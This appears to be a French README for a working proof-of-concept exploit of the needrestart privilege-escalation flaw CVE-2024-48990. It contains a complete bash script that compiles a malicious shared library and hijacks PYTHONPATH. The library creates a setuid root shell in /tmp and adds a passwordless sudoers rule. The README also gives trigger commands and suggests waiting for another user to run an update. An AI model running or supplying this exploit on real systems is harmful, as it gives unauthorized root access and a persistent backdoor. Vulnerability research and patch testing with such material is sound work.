
Test POC pour cas d'utilisation
Ce dépôt contient une Preuve de Concept (PoC) pour démontrer une vulnérabilité dans le programme needrestart, qui ne définit pas correctement le chemin de Python, conduisant à une potentielle escalade de privilèges. La PoC met en évidence une voie potentielle pour obtenir des privilèges élevés en exploitant cette faille.
La vulnérabilité CVE-2024-48990 se trouve dans le paquet needrestart. Plus précisément, il ne définit pas correctement le chemin de Python, ce qui peut être exploité pour escalader les privilèges lorsqu'il est déclenché par certaines actions.
Cette PoC simule un scénario où une bibliothèque partagée malveillante est chargée via Python pour manipuler les paramètres système et obtenir des privilèges élevés. Utilisez-la dans un environnement contrôlé et sûr à des fins de test uniquement.
Pour vérifier si vous êtes vulnérable, exécutez :
needrestart --version | grep -q "3.7" && echo "Definitely vulnerable" || echo "Version is potentially not vulnerable, this simply checks for 3.7"
Si vous voulez une version vulnérable pour tester, exécutez simplement :
sudo apt install needrestart=3.7-3
Pour déclencher la vulnérabilité, exécutez ce qui suit pendant que vous avez le script d'écoute en cours d'exécution :
sudo apt remove ntp; sudo apt install ntp
Cette commande installe un paquet (ntp dans ce cas) qui provoque le déclenchement du problème avec needrestart. Cependant, idéalement, vous attendriez qu'un autre utilisateur du système déclenche une mise à jour ou quelque chose qui déclenche needrestart comme sudo apt update.
Exécutez le script suivant pour configurer la PoC et déclencher la vulnérabilité. Vous pouvez copier-coller le script entier tel quel dans votre terminal et attendre, ou le déclencher manuellement comme montré ci-dessus avec ntp. Il ajoute également le binaire au chemin sudo pour tous les utilisateurs à des fins de démonstration - en réalité, vous pouvez simplement lui faire ajouter tous les chemins pour sudo pour votre utilisateur, mais je voulais montrer les deux :
#!/bin/bash
set -e
cd /tmp
mkdir -p malicious/importlib
# Create and compile the malicious library
cat << 'EOF' > /tmp/malicious/lib.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
static void a() __attribute__((constructor));
void a() {
if(geteuid() == 0) { // Only execute if we're running with root privileges
setuid(0);
setgid(0);
const char *shell = "cp /bin/sh /tmp/poc; "
"chmod u+s /tmp/poc; "
"grep -qxF 'ALL ALL=NOPASSWD: /tmp/poc' /etc/sudoers || "
"echo 'ALL ALL=NOPASSWD: /tmp/poc' | tee -a /etc/sudoers > /dev/null &";
system(shell);
}
}
EOF
gcc -shared -fPIC -o "/tmp/malicious/importlib/__init__.so" /tmp/malicious/lib.c
# Minimal Python script to trigger import
cat << 'EOF' > /tmp/malicious/e.py
import time
while True:
try:
import importlib
except:
pass
if __import__("os").path.exists("/tmp/poc"):
print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
__import__("os").system("sudo /tmp/poc -p")
break
time.sleep(1)
EOF
cd /tmp/malicious; clear;echo -e "\n\nWaiting for norestart execution...\nEnsure you remove yourself from sudoers on the poc file after\nsudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers\nAs well as remove excess files created:\nrm -rf malicious/ poc"; PYTHONPATH="$PWD" python3 e.py 2>/dev/null
Si vous souhaitez nettoyer les fichiers de test et vous retirer de sudoers, vous pouvez exécuter la commande suivante depuis une invite élevée :
sudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers
rm -rf malicious/ poc; ls
needrestart installé (ou supprimé et réinstallé pour déclencher)Cette PoC est à des fins de test uniquement et ne doit pas être utilisée dans un environnement de production. Exploiter cette vulnérabilité dans des environnements non autorisés peut être illégal. Obtenez toujours une autorisation explicite avant d'effectuer des tests de sécurité.
Bon test ! 🧪🚀